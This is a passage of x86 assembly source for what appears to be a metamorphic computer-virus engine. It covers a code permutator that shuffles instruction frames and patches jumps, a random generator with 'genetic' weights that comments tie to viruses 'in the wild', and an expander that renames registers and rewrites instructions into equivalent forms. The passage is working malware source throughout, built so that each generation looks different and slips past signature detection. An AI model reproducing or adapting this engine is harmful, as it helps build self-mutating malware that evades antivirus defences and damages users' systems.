@@NextFrame ; If we aren't, generate another or ecx, ecx ; If we have arrived until the last jz @@FramesCreationFinished ; instruction, it's finished. mov [edi], esi ; Insert the instruction of this add esi, ecx ; frame and the last instruction. mov [edi+4], esi add edi, 8 @@FramesCreationFinished: mov [ebp+AddressOfLastFrame], edi ; Set the last frame. @@TempLabel: ;; Calculate MOD mov eax, edi ; Get a value we can use for mov ebx, [ebp+FramesTable] ; mask a random number. The sub eax, ebx ; value is got from the total ; EAX = Number of frames * 8 ; number of frames. mov ebx, 8 @@LoopCalculateMOD: shl ebx, 1 cmp ebx, eax jb @@LoopCalculateMOD sub ebx, 8 mov [ebp+MODValue], ebx ;; Now we have frames that we can permutate. We save the address of ;; the first frame to know where to jump when the code is reassembled mov esi, [ebp+FramesTable] mov [ebp+PositionOfFirstInstruction], esi ;; The frames are permutated. We have taken in account the first ;; instruction and we save everytime the address where the first ;; instruction is. ;; ESI = Table of frames ;; EDI = Address of last frame mov edx, esi @@LoopExchange: call Random mov ebx, [ebp+MODValue] and eax, ebx add eax, esi ; Get frame in EAX ; ; Uncommenting this instruction the engine doesn't permutate anything ; ; (used to avoid getting crazy while finding bugs in regenerated codes) ; mov eax, edx cmp eax, edi ; Frame address > last frame address? jae @@LoopExchange ; If so, get other random frame mov ecx, [eax] ; Exchange frame at EDX with the random mov ebx, [edx] ; frame got above. mov [eax], ebx mov [edx], ecx ; Be aware of first instruction position! cmp edx, [ebp+PositionOfFirstInstruction] jnz @@LookEAX mov [ebp+PositionOfFirstInstruction], eax jmp @@ExchangeNext @@LookEAX: cmp eax, [ebp+PositionOfFirstInstruction] jnz @@ExchangeNext mov [ebp+PositionOfFirstInstruction], edx @@ExchangeNext: add eax, 4 add edx, 4 mov ecx, [eax] ; Exchange frame mov ebx, [edx] mov [eax], ebx mov [edx], ecx add edx, 4 ; Next frame cmp edx, edi ; Last frame? jb @@LoopExchange ; If not, exchange next ;; Now we are going to copy the instructions and update the label ;; addresses in the label table. We include NOPs because they can ;; have a label over them, and if we eliminate them the label ;; updating will be problematic. mov esi, [ebp+InstructionTable] mov edi, [ebp+PermutationResult] mov ebx, [ebp+FramesTable] mov eax, [ebp+PositionOfFirstInstruction] cmp ebx, eax jnz @@InsertJump2 @@LoopCopyFrame: mov eax, 0FFh mov [ebp+Permut_LastInstruction], eax mov edx, [ebx] ; Get the start and end address of the add ebx, 4 ; frame and copy the instructions. mov ecx, [ebx] add ebx, 4 @@LoopCopyInstructions: mov eax, [edx] cmp al, 4Fh ; If we find a remaining pseudoopcode jnz @@NextInstruction ; 4F from the shrinking part, we mov al, 51h ; substitute it by the correct one: mov [edx], eax ; PUSH Mem2/POP Mem push eax push ebx mov ebx, [edx+7] mov eax, 59h mov [ebx], al pop ebx pop eax @@NextInstruction: mov [edi], eax ; Copy the instruction mov eax, [edx+4] mov [edi+4], eax mov eax, [edx+8] mov [edi+8], eax mov [edi+0Ch], edx ; Set pointer to old code mov [edx+0Ch], edi ; Set pointer to new code mov eax, [edi] and eax, 0FFh ; NOP? cmp eax, 0FFh jz @@NextInstruction2 @@SetLastInstruction: ; mov eax, [edi] ; Save opcode for later ; and eax, 0FFh mov [ebp+Permut_LastInstruction], eax jmp @@NextInstruction3 @@NextInstruction2: mov eax, [edi+0Bh] ; Label over a NOP? and eax, 0FFh or eax, eax ; If so, jump to fix the problem jnz @@SetLastInstruction @@NextInstruction3: add edi, 10h ; Next instruction in the frame add edx, 10h cmp edx, ecx ; Last instruction in the frame? jnz @@LoopCopyInstructions ; If not, loop to copy mov eax, [ebp+AddressOfLastFrame] ; Check if it's the last cmp ebx, eax ; frame of the code (not of jae @@LastFrameArrived ; the table) mov eax, [ebx] ; Get the frame in the table cmp eax, edx ; Is it the same? jz @@LoopTestIfLastFrame ; Check if it's the last frame ; of the permutation table @@LastFrameArrived: mov eax, [ebp+Permut_LastInstruction] cmp eax, 0E9h ; JMP <label> opcode jz @@LoopTestIfLastFrame cmp eax, 0EBh ; JMP Mem opcode jz @@LoopTestIfLastFrame cmp eax, 0EDh ; JMP Reg opcode jz @@LoopTestIfLastFrame cmp eax, 0FEh ; RET jz @@LoopTestIfLastFrame mov [edi+1], edx ; Set the new label @@InsertJump: mov eax, 0E9h ; JMP opcode mov [edi], al ; Set the JMP to the new label ; EDI = Jump to update call InsertJumpInTable ; Insert it in the table for later add edi, 10h ; Next instruction @@LoopTestIfLastFrame: mov eax, [ebp+AddressOfLastFrame] ; Are we in the end of cmp ebx, eax ; the table? jae @@End ; If so, end instruction copy jmp @@LoopCopyFrame ; If not, jump to continue the copy @@InsertJump2: mov eax, [eax] ; Get the label mov [edi+1], eax ; Put it as label (but later will jmp @@InsertJump ; be substituted) ; Here we have all instructions copied, and all the labels and jumps ; to other blocks waiting to be updated @@End: mov [ebp+AddressOfLastInstruction], edi ; Update last instruction address mov ecx, [ebp+NumberOfLabels] mov edx, [ebp+LabelTable] @@LoopUpdateLabel: mov eax, [edx+4] ; Pointer to old code mov ebx, [eax+0Ch] ; New position (directly from the ; instruction) mov [edx], ebx ; Set new pointer in label add edx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopUpdateLabel ; Next entry ; Now we update the inserted permutation jumps ; EDX = Pointer to label insert point (from the code above) mov ecx, [ebp+NumberOfJumps] mov ebx, [ebp+JumpsTable] jmp @@CheckNumberOfJumps @@LoopUpdateJumps: mov esi, [ebx] ; Jump address mov eax, [esi+1] ; Get jump destination mov edi, [eax+0Ch] ; Get new address mov [edx], edi ; Label pointer to new code mov [edx+4], eax ; Label pointer to old code mov [esi+1], edx ; Set label in jump mov eax, [ebp+NumberOfLabels] add eax, 1 mov [ebp+NumberOfLabels], eax add edx, 8 ; Next new label pointer add ebx, 4 ; Next jump to update sub ecx, 4 @@CheckNumberOfJumps: or ecx, ecx jnz @@LoopUpdateJumps ;; All is OK in this point ret PermutateCode endp ;; Little function to insert jumps in the table. InsertJumpInTable proc mov ecx, [ebp+NumberOfJumps] mov edx, [ebp+JumpsTable] add edx, ecx mov [edx], edi add ecx, 4 mov [ebp+NumberOfJumps], ecx ret InsertJumpInTable endp ;; Random number generator. It's used along the engine. Random proc push edx push ecx mov eax, [ebp+RndSeed1] mov ecx, [ebp+RndSeed2] add eax, ecx call RandomMod1 xor eax, [ebp+RndSeed1] mov [ebp+RndSeed1], eax mov ecx, eax mov eax, [ebp+RndSeed2] add [ebp+RndSeed2], ecx call RandomMod2 xor eax, [ebp+RndSeed2] mov [ebp+RndSeed2], eax xor eax, [ebp+RndSeed1] call RandomMod2 pop ecx pop edx ret Random endp RandomMod1 proc mov edx, eax and edx, 1FFFh shl edx, 13h and eax, 0FFFFFE00h shr eax, 0Dh or eax, edx add eax, ecx ret RandomMod1 endp RandomMod2 proc mov edx, eax and edx, 1FFFFh shl edx, 0Fh and eax, 0FFFFE000h shr eax, 11h or eax, edx add eax, ecx ret RandomMod2 endp ;; Other wide-used function. Returns TRUE or FALSE in EAX. RandomBoolean proc call Random and eax, 1 ret RandomBoolean endp ;; Booleans based on a little genetic algorithm. Each boolean is a ;; better-than-random number based on the previous random numbers generated ;; with these ones. The viruses that keep in the wild will have accurated ;; behaviours based on these weights. RandomBoolean_X000_3 proc push ebx mov ebx, [ebp+Weight_X000_3] call CheckForBooleanWeight mov [ebp+Weight_X000_3], ebx pop ebx ret RandomBoolean_X000_3 endp RandomBoolean_X004_7 proc push ebx mov ebx, [ebp+Weight_X004_7] call CheckForBooleanWeight mov [ebp+Weight_X004_7], ebx pop ebx ret RandomBoolean_X004_7 endp RandomBoolean_X008_11 proc push ebx mov ebx, [ebp+Weight_X008_11] call CheckForBooleanWeight mov [ebp+Weight_X008_11], ebx pop ebx ret RandomBoolean_X008_11 endp RandomBoolean_X012_15 proc push ebx mov ebx, [ebp+Weight_X012_15] call CheckForBooleanWeight mov [ebp+Weight_X012_15], ebx pop ebx ret RandomBoolean_X012_15 endp RandomBoolean_X016_19 proc push ebx mov ebx, [ebp+Weight_X016_19] call CheckForBooleanWeight mov [ebp+Weight_X016_19], ebx pop ebx ret RandomBoolean_X016_19 endp RandomBoolean_X020_23 proc push ebx mov ebx, [ebp+Weight_X020_23] call CheckForBooleanWeight mov [ebp+Weight_X020_23], ebx pop ebx ret RandomBoolean_X020_23 endp ;; Function to save code above. CheckForBooleanWeight proc push ecx push edx mov ecx, ebx ; Get the sub-weight to use cmp eax, 1 jz @@Check1 cmp eax, 2 jz @@Check2 cmp eax, 3 jz @@Check3 @@Check0: and ecx, 0000000FFh mov edx, 000000001h jmp @@Shr00 @@Check1: and ecx, 00000FF00h mov edx, 000000100h jmp @@Shr08 @@Check2: and ecx, 000FF0000h mov edx, 000010000h jmp @@Shr10 @@Check3: and ecx, 0FF000000h mov edx, 001000000h @@Shr18: shr ecx, 8 @@Shr10: shr ecx, 8 @@Shr08: shr ecx, 8 ; Set it at the beginning of ECX @@Shr00: call Random ; Get a random number in range 0-255 and eax, 0FFh cmp eax, ecx ; If it's above/equal the weight, jump jae @@Above @@Below: cmp ecx, 0F8h ; If it has already the max value, don't jae @@Return0 ; touch the weight call Random and eax, 0Fh ; True-random modification (some randomness or eax, eax ; in the life of viriis :) jz @@Return0 add ebx, edx ; Make more probability to FALSE add ecx, 1 call Random and eax, 0Fh ; Again? or eax, eax jz @@Below @@Return0: xor eax, eax pop edx pop ecx ret @@Above: cmp ecx, 08h ; If it has already the min value, don't jb @@Return1 ; decrease the weight call Random and eax, 0Fh ; Randomness or eax, eax jz @@Return1 sub ebx, edx ; Make more probability to TRUE sub ecx, 1 call Random and eax, 0Fh ; Again? or eax, eax jz @@Above @@Return1: mov eax, 1 pop edx pop ecx ret CheckForBooleanWeight endp ;; ;; ;; End of permutator. ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!Xpander ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The expander ;; ------------ ;; ;; This routine expands a shrinked pseudo-asm code previously shrinked with ;; the shrinker module. It's more easy to expand here following the ;; single/pairs/triplets rules than encoding it directly in x86 asm. ;; ;; The rules of expansion are exactly the opposite ones that we use for ;; compression. For example: ;; ;; MOV [Mem],Reg ;; MOV Reg2,[Mem] ---> MOV Reg2,Reg ;; ;; but also: ;; ;; PUSH Reg ;; POP Reg2 ---> MOV Reg2,Reg ;; ;; Then the expansion rule for MOV Reg2,Reg will be: ;; ;; MOV Reg2,Reg ---> MOV [Mem],Reg + MOV Reg2,[Mem] ;; ---> PUSH Reg + POP Reg2 ;; ;; where we select randomly one of the possible expansions. ;; ;; All the expansions are performed recursively, so every instruction involved ;; in an expansion will be expanded also, until we reach a recursivity level ;; specified in the variable [SizeOfExpansion] (from X to 3). ;; XpandCode proc mov esi, [ebp+InstructionTable] ; Source of expansion mov edi, [ebp+ExpansionResult] ; Destiny of expansion ;; Let's get the register translation. We must have present that DeltaReg ;; cannot be EAX, ECX or EDX (due to API calls). Due to the usage of 8 ;; bits registers, we saved the used 8 bits register while shrinking code, ;; so we must select that register first from one of the 4 first ones. mov eax, [ebp+SizeOfExpansion] mov [ebp+Xp_RecurseLevel], eax ; Set the initial ; recursivity level mov eax, [ebp+CreatingADecryptor] ; If we are creating or eax, eax ; a decryptor, keep the jnz @@KeepRegisterTranslation ; current register translation mov eax, 8 mov [ebp+Xp_Register0], eax ; Initialize the registers mov [ebp+Xp_Register1], eax mov [ebp+Xp_Register2], eax mov [ebp+Xp_Register3], eax mov [ebp+Xp_Register5], eax mov [ebp+Xp_Register6], eax mov [ebp+Xp_Register7], eax mov eax, 4 mov [ebp+Xp_Register4], eax ; Set the ESP @@Other8BitsReg: call Random and eax, 7 cmp eax, 3 ; Get a 8 bits register ja @@Other8BitsReg mov ebx, [ebp+Register8Bits] ; Get the saved register call Xpand_SetRegister4Xlation ; Set the translation @@OtherDeltaReg: call Random ; Get a register and eax, 7 cmp eax, 2 ; EAX, ECX or EDX? jbe @@OtherDeltaReg ; If so, select another cmp eax, 4 ; ESP? jz @@OtherDeltaReg ; Then, select another mov ebx, [ebp+DeltaRegister] call Xpand_SetRegister4Xlation ; Set the register or eax, eax jz @@OtherDeltaReg ; Other if it coincides with Reg8 mov ebx, -1 ; Set EBX = 0 at first @@NextRegister: add ebx, 1 cmp ebx, [ebp+DeltaRegister] ; EBX = DeltaRegister? jz @@NextRegister cmp ebx, [ebp+Register8Bits] ; EBX = Register8Bits? jz @@NextRegister cmp ebx, 4 ; ESP? jz @@NextRegister cmp ebx, 8 ; End of loop? jz @@EndOfRegisters @@OtherRegister: call Random ; Get a register and eax, 7 cmp eax, 4 jz @@OtherRegister call Xpand_SetRegister4Xlation ; Try to set the register or eax, eax jz @@OtherRegister ; If it's set in another one, select jmp @@NextRegister ; another @@EndOfRegisters: mov eax, [ebp+DeltaRegister] ; Get the Delta Register call Xpand_TranslateRegister ; Translate it mov [ebp+TranslatedDeltaRegister], eax ; Save it @@KeepRegisterTranslation: @@Expand: ; mov eax, [esi] call XpandThisInstruction ; Call to expand the current add esi, 10h ; instruction cmp esi, [ebp+AddressOfLastInstruction] ; Is it the last? jnz @@Expand ; If not, continue mov [ebp+AddressOfLastInstruction], edi call Xpand_UpdateLabels ; Update the labels along the ret ; code and finish XpandCode endp ;; This function checks if the register passed at EAX exists in any other ;; variable of register translation (i.e. if any other register is translated ;; to that one). If it is, it returns with EAX = 0. If not, sets the number ;; of register in EAX in the register translation variable of the register ;; EBX, and returns with EAX = 1. Xpand_SetRegister4Xlation proc cmp eax, [ebp+Xp_Register0] ; Check if the register in jz @@ReturnError ; EAX is used by other cmp eax, [ebp+Xp_Register1] ; register to be translated jz @@ReturnError ; as that one. cmp eax, [ebp+Xp_Register2] jz @@ReturnError ; If so, return with EAX = 0 cmp eax, [ebp+Xp_Register3] jz @@ReturnError cmp eax, [ebp+Xp_Register5] jz @@ReturnError cmp eax, [ebp+Xp_Register6] jz @@ReturnError cmp eax, [ebp+Xp_Register7] jz @@ReturnError or ebx, ebx ; Jump to the corresponding variable jz @@SetAt0 ; setting to translate the register in cmp ebx, 1 ; EBX. jz @@SetAt1 cmp ebx, 2 jz @@SetAt2 cmp ebx, 3 jz @@SetAt3 cmp ebx, 5 jz @@SetAt5 cmp ebx, 6 jz @@SetAt6 @@SetAt7: mov [ebp+Xp_Register7], eax ; Set for the register EBX jmp @@ReturnNoError ; the translation in EAX. @@SetAt0: mov [ebp+Xp_Register0], eax jmp @@ReturnNoError @@SetAt1: mov [ebp+Xp_Register1], eax jmp @@ReturnNoError @@SetAt2: mov [ebp+Xp_Register2], eax jmp @@ReturnNoError @@SetAt3: mov [ebp+Xp_Register3], eax jmp @@ReturnNoError @@SetAt5: mov [ebp+Xp_Register5], eax jmp @@ReturnNoError @@SetAt6: mov [ebp+Xp_Register6], eax jmp @@ReturnNoError @@ReturnError: xor eax, eax ; Return with FALSE if error ret @@ReturnNoError: mov eax, 1 ; Return with TRUE if all OK ret Xpand_SetRegister4Xlation endp ;; This function will translate the register in EAX by the corresponding ;; new register, also in EAX. Xpand_TranslateRegister proc or eax, eax ; Jump to the corresponding variable usage. jz @@Get0 cmp eax, 1 jz @@Get1 cmp eax, 2 jz @@Get2 cmp eax, 3 jz @@Get3 cmp eax, 4 jz @@Return ; Return ESP for ESP (no translation). cmp eax, 5 jz @@Get5 cmp eax, 6 jz @@Get6 cmp eax, 7 jz @@Get7 mov eax, 8 ; If the register is >= 8, return 8. ret @@Get7: mov eax, [ebp+Xp_Register7] ; Get the translation and ret ; return. @@Get0: mov eax, [ebp+Xp_Register0] ret @@Get1: mov eax, [ebp+Xp_Register1] ret @@Get2: mov eax, [ebp+Xp_Register2] ret @@Get3: mov eax, [ebp+Xp_Register3] ret @@Get5: mov eax, [ebp+Xp_Register5] ret @@Get6: mov eax, [ebp+Xp_Register6] @@Return: ret Xpand_TranslateRegister endp ;; This function returns the register in reverse translation, it means, the ;; register that the register in EAX is translated to. It's the inversed ;; operation that performs Xpand_TranslateRegister, so if we get a register, ;; we translate it with Xpand_TranslateRegister and we pass the result to ;; this function, we'll get the original register. This function is useful ;; to know which register we must use before the expansion when we want a ;; specific register in the expanded result. Xpand_ReverseTranslation proc cmp eax, 4 jz @@Return ; Find the register in the register cmp eax, [ebp+Xp_Register0] ; translation variables jz @@Return0 cmp eax, [ebp+Xp_Register1] jz @@Return1 cmp eax, [ebp+Xp_Register2] jz @@Return2 cmp eax, [ebp+Xp_Register3] jz @@Return3 cmp eax, [ebp+Xp_Register5] jz @@Return5 cmp eax, [ebp+Xp_Register6] jz @@Return6 cmp eax, [ebp+Xp_Register7] jz @@Return7 mov eax, 8 @@Return: ret ; When we find it, return the number @@Return0: xor eax, eax ; of register that uses that variable ret ; for translating itself. @@Return1: mov eax, 1 ret @@Return2: mov eax, 2 ret @@Return3: mov eax, 3 ret @@Return5: mov eax, 5 ret @@Return6: mov eax, 6 ret @@Return7: mov eax, 7 ret Xpand_ReverseTranslation endp ;; To make a real metamorphism we have a way of coding every instruction, in ;; both instruction expansion and reassembling. So, we check all the possible ;; pseudo-opcodes and we make a formula for them. The formulas used here must ;; be recognized by the shrinker. XpandThisInstruction proc mov eax, [esi+0Bh] ; Get the label mov [edi+0Bh], eax ; Copy it mov [edi+0Ch], esi ; Set the new pointers mov [esi+0Ch], edi xor eax, eax mov al, [esi] ; Get the opcode cmp eax, 4Ch ; Generic 32 bits operation? ja @@Xpand_Next001 ; If not, jump xor eax, eax @@Generic: mov [ebp+Xp_8Bits], eax ; Set the 8 bits flag (0 or 80h) mov eax, [esi] and eax, 78h ; Get the operation mov [ebp+Xp_Operation], eax ; Set it mov eax, [esi] ; Get the type of operation and eax, 7 or eax, eax ; OP Reg,Imm? jz @@OPRegImm cmp eax, 1 ; OP Reg,Reg? jz @@OPRegReg cmp eax, 2 ; OP Reg,Mem? jz @@OPRegMem cmp eax, 3 ; OP Mem,Reg? jz @@OPMemReg @@OPMemImm: ; OP Mem,Imm mov eax, [ebp+Xp_8Bits] ; Get the 8 bits flag or eax, eax ; If 0, jump jz @@OPMemImm32 mov eax, [esi+7] ; Get the Imm and eax, 0FFh ; Extend the sign cmp eax, 7Fh jbe @@OPMemImmSet or eax, 0FFFFFF00h jmp @@OPMemImmSet ; Set the value @@OPMemImm32: mov eax, [esi+7] ; Get the normal value if 32 bits @@OPMemImmSet: mov [ebp+Xp_Immediate], eax ; Set the immediate call Xpand_SetMemoryAddress ; Copy the mem. address ref. ; (translating the indexes also) call Xp_GenOPMemImm ; Generate an OP Mem,Imm jmp @@Ret @@OPRegImm: mov eax, [ebp+Xp_8Bits] ; Extend the sign for 8 bits or eax, eax ; operations jz @@OPRegImm32 mov eax, [esi+7] and eax, 0FFh cmp eax, 7Fh jbe @@OPRegImmSet or eax, 0FFFFFF00h jmp @@OPRegImmSet @@OPRegImm32: mov eax, [esi+7] @@OPRegImmSet: mov [ebp+Xp_Immediate], eax ; Set the immediate mov eax, [esi+1] ; Get the register and eax, 0FFh call Xpand_TranslateRegister ; Translate it to the new one mov [ebp+Xp_Register], eax ; Set it call Xp_GenOPRegImm ; Generate an OP Reg,Imm jmp @@Ret @@OPRegReg: mov eax, [esi+1] ; Get the source register and eax, 0FFh call Xpand_TranslateRegister ; Translate it and set it mov [ebp+Xp_SrcRegister], eax mov eax, [esi+7] ; Get the destiny register and eax, 0FFh call Xpand_TranslateRegister ; Translate it and set it mov [ebp+Xp_Register], eax call Xp_GenOPRegReg ; Generate an OP Reg,Reg jmp @@Ret @@OPRegMem: call Xpand_SetMemoryAddress ; Copy the memory address mov eax, [esi+7] ; (with indexes translation) and eax, 0FFh call Xpand_TranslateRegister ; Translate the destiny reg. mov [ebp+Xp_Register], eax ; Set it call Xp_GenOPRegMem ; Generate an OP Reg,Mem jmp @@Ret @@OPMemReg: call Xpand_SetMemoryAddress ; Copy the memory address mov eax, [esi+7] ; (with indexes translation) and eax, 0FFh call Xpand_TranslateRegister ; Translate the source reg. mov [ebp+Xp_Register], eax call Xp_GenOPMemReg ; Generate an OP Mem,Reg jmp @@Ret @@Xpand_Next001: cmp eax, 00h+80h ; Get if it's a 8 bits generic jb @@Xpand_Next002 ; operation cmp eax, 4Ch+80h ja @@Xpand_Next002 mov eax, 80h ; If it is, set "8 bits usage" jmp @@Generic ; (value 80h in [Xp_8Bits]) and ; jump to make the operation @@Xpand_Next002: cmp eax, 50h ; PUSH Reg? jnz @@Xpand_Next003 mov eax, [esi+1] ; Then, translate the register and eax, 0FFh ; and set it in the call Xpand_TranslateRegister ; corresponding field mov [ebp+Xp_Register], eax call Xp_GenPUSHReg ; Generate a PUSH Reg jmp @@Ret @@Xpand_Next003: cmp eax, 51h ; PUSH Mem? jnz @@Xpand_Next004 call Xpand_SetMemoryAddress ; Then, set the memory address xor eax, eax ; (with index translation), mov [ebp+Xp_8Bits], eax ; clear the "8 bits" flag and call Xp_GenPUSHMem ; generate the PUSH Mem. jmp @@Ret @@Xpand_Next004: cmp eax, 58h ; POP Reg? jnz @@Xpand_Next005 mov eax, [esi+1] ; Translate the register, set and eax, 0FFh ; it into the working field call Xpand_TranslateRegister ; and generate a POP Reg mov [ebp+Xp_Register], eax call Xp_GenPOPReg jmp @@Ret @@Xpand_Next005: cmp eax, 59h ; POP Mem? jnz @@Xpand_Next006 call Xpand_SetMemoryAddress ; Then, copy the memory address xor eax, eax ; with index translation, clear mov [ebp+Xp_8Bits], eax ; the "8 bits" flag and call call Xp_GenPOPMem ; the function to generate a jmp @@Ret ; POP Mem. @@Xpand_Next006: cmp eax, 68h ; PUSH Imm? jnz @@Xpand_Next007 mov eax, [esi+7] ; Set the immediate mov [ebp+Xp_Immediate], eax call Xp_GenPUSHImm ; Generate a PUSH Imm jmp @@Ret @@Xpand_Next007: cmp eax, 70h ; Jcc? jb @@Xpand_Next008 cmp eax, 7Fh ja @@Xpand_Next008 mov [ebp+Xp_Operation], eax ; Set the type of conditional mov eax, [esi+1] ; jump in the operation field mov [ebp+Xp_Immediate], eax ; and the label in the call Xp_GenJcc ; Imm field, and generate it. jmp @@Ret @@Xpand_Next008: cmp eax, 0E0h ; NOT Reg? jnz @@Xpand_Next009 call Xpand_SetRegister ; Then, translate and set the call Xp_GenNOTReg ; 32 bits register and generate jmp @@Ret ; a NOT Reg @@Xpand_Next009: cmp eax, 0E1h ; NOT Mem? jnz @@Xpand_Next010 call Xpand_SetMemoryAddress ; Then, copy and translate the xor eax, eax ; memory address and indexes, mov [ebp+Xp_8Bits], eax ; set "32 bits usage" and call Xp_GenNOTMem ; generate a NOT Mem jmp @@Ret @@Xpand_Next010: cmp eax, 0E2h ; NOT Reg8? jnz @@Xpand_Next011 call Xpand_Set8BitsRegister ; Then, translate and set the call Xp_GenNOTReg ; 8 bits register and generate jmp @@Ret ; a NOT Reg8 @@Xpand_Next011: cmp eax, 0E3h ; The same as with E1 (NOT Mem) jnz @@Xpand_Next012 ; but with 8 bits operands. call Xpand_SetMemoryAddress mov eax, 80h mov [ebp+Xp_8Bits], eax call Xp_GenNOTMem jmp @@Ret @@Xpand_Next012: cmp eax, 0E4h ; NEG Reg? jnz @@Xpand_Next013 call Xpand_SetRegister ; Then, translate the register, call Xp_GenNEGReg ; set it and generate the op. jmp @@Ret @@Xpand_Next013: cmp eax, 0E5h ; NEG Mem? jnz @@Xpand_Next014 call Xpand_SetMemoryAddress ; Copy the address, translate xor eax, eax ; the indexes, set "32 bits" mov [ebp+Xp_8Bits], eax ; flag and generate the instrc. call Xp_GenNEGMem jmp @@Ret @@Xpand_Next014: cmp eax, 0E6h ; NEG Reg8? jnz @@Xpand_Next015 call Xpand_Set8BitsRegister ; Then do the same as with call Xp_GenNEGReg ; E4 (NEG Reg) but with 8 bits jmp @@Ret ; operands @@Xpand_Next015: cmp eax, 0E7h ; NEG Mem8? jnz @@Xpand_Next016 call Xpand_SetMemoryAddress ; Then do the same as with E5 mov eax, 80h ; (NEG Mem) but with a 8 bits mov [ebp+Xp_8Bits], eax ; memory address. call Xp_GenNEGMem jmp @@Ret @@Xpand_Next016: cmp eax, 0E8h ; CALL @xxx? jnz @@Xpand_Next017 @@CopyInstruction: mov eax, [esi] ; Then copy the instruction. mov [edi], eax ; It's one of the very few that mov eax, [esi+4] ; haven't a translation. mov [edi+4], eax mov eax, [esi+7] mov [edi+7], eax add edi, 10h jmp @@Ret @@Xpand_Next017: cmp eax, 0E9h ; JMP @xxx? jnz @@Xpand_Next018 mov eax, [esi+1] ; Get the label, set it in the mov [ebp+Xp_Immediate], eax ; work field and generate the call Xp_GenJMP ; JMP instruction. jmp @@Ret @@Xpand_Next018: cmp eax, 0EAh ; CALL Mem? jnz @@Xpand_Next019 xor eax, eax ; Set "32 bits" usage mov [ebp+Xp_8Bits], eax call Xpand_SetMemoryAddress ; Translate indexes and copy ; the operands call Xp_GenCALLMem ; Generate a CALL Mem jmp @@Ret @@Xpand_Next019: cmp eax, 0EBh ; JMP Mem? jnz @@Xpand_Next020 xor eax, eax mov [ebp+Xp_8Bits], eax ; Set "32 bits" call Xpand_SetMemoryAddress ; Translate and set the memory call Xp_GenJMPMem ; address and generate the JMP jmp @@Ret @@Xpand_Next020: cmp eax, 0ECh ; CALL Reg? jnz @@Xpand_Next021 xor eax, eax ; Set "32 bits" mov [ebp+Xp_8Bits], eax call Xpand_SetRegister ; Translate and set the register call Xp_GenCALLReg ; Generate the CALL Reg jmp @@Ret @@Xpand_Next021: cmp eax, 0EDh ; JMP Reg? jnz @@Xpand_Next022 xor eax, eax ; Set "32 bits" mov [ebp+Xp_8Bits], eax call Xpand_SetRegister ; Translate and set the register call Xp_GenJMPReg ; Generate the JMP Reg jmp @@Ret @@Xpand_Next022: cmp eax, 0F0h ; SHIFT Reg? jnz @@Xpand_Next023 @@Xpand_TranslateReg: mov eax, [esi+1] ; Translate the register and eax, 0FFh call Xpand_TranslateRegister mov [esi+1], eax ; Set the register jmp @@CopyInstruction ; Copy the instruction @@Xpand_Next023: cmp eax, 0F2h ; SHIFT Reg8? jz @@Xpand_TranslateReg ; Then jump to translate et all @@Xpand_Next024: cmp eax, 0F1h ; SHIFT Mem? jnz @@Xpand_Next025 @@Xpand_TranslateMem: call Xpand_SetMemoryAddress ; Translate the memory address mov eax, [esi] ; and copy the instruction mov [edi], eax call Xp_CopyMemoryReference mov eax, [esi+7] mov [edi+7], eax add edi, 10h jmp @@Ret @@Xpand_Next025: cmp eax, 0F3h ; SHIFT Mem8? jz @@Xpand_TranslateMem ; Then do the same as with Mem32 @@Xpand_Next026: cmp eax, 0F4h ; APICALL_BEGIN? jnz @@Xpand_Next027 xor eax, eax ; Set "32 bits" mov [ebp+Xp_8Bits], eax mov [ebp+Xp_Register], eax ; Generate a PUSH EAX call Xp_GenPUSHReg mov eax, 1 mov [ebp+Xp_Register], eax ; Generate a PUSH ECX call Xp_GenPUSHReg mov eax, 2 mov [ebp+Xp_Register], eax ; Generate a PUSH EDX call Xp_GenPUSHReg jmp @@Ret @@Xpand_Next027: cmp eax, 0F5h ; APICALL_END? jnz @@Xpand_Next028 xor eax, eax ; Set "32 bits" mov [ebp+Xp_8Bits], eax mov eax, 2 mov [ebp+Xp_Register], eax ; Generate a POP EDX call Xp_GenPOPReg mov eax, 1 mov [ebp+Xp_Register], eax ; Generate a POP ECX call Xp_GenPOPReg xor eax, eax mov [ebp+Xp_Register], eax ; Generate a POP EAX call Xp_GenPOPReg jmp @@Ret @@Xpand_Next028: cmp eax, 0F6h ; APICALL_STORE? jnz @@Xpand_Next029_ xor eax, eax mov [ebp+Xp_Register], eax ; Set EAX as destiny register call Xpand_SetMemoryAddress ; Translate the memory address mov eax, 40h ; Set a MOV instruction mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax ; Set "32 bits" usage call Xp_GenOPMemReg ; Generate a MOV Reg,[Mem] jmp @@Ret @@Xpand_Next029_: cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]? jnz @@Xpand_Next029 mov eax, [esi+7] ; Translate the register and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xpand_SetMemoryAddress ; Translate and copy the mem. call Xp_GenMOVZX ; address and generate a MOVZX jmp @@Ret @@Xpand_Next029: cmp eax, 0FCh ; LEA? jnz @@Xpand_Next030 call Xpand_SetMemoryAddress ; Then translate and copy the mov eax, [esi+7] ; memory address, do the same and eax, 0FFh ; with the destiny register, call Xpand_TranslateRegister ; set "32 bits" register and mov [ebp+Xp_Register], eax ; generate the LEA, xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenLEA jmp @@Ret @@Xpand_Next030: cmp eax, 0FEh ; RET? jnz @@Xpand_Next031 call Xp_GenRET ; Then generate a RET jmp @@Ret @@Xpand_Next031: cmp eax, 0FFh ; NOP? jz @@Return ; Then avoid it @@Xpand_Next032: cmp eax, 0F7h ; SET_WEIGHT? jnz @@Xpand_Next033 call Xpand_SetMemoryAddress xor eax, eax mov [ebp+Xp_8Bits], eax mov eax, [esi+7] and eax, 0FFh mov [ebp+Xp_Immediate], eax mov eax, [esi+8] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax mov eax, [esi+9] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_SrcRegister], eax call Xp_MakeSET_WEIGHT ; jmp @@Ret @@Xpand_Next033: @@Ret: call Random ; Get a random chance of 1/16 and 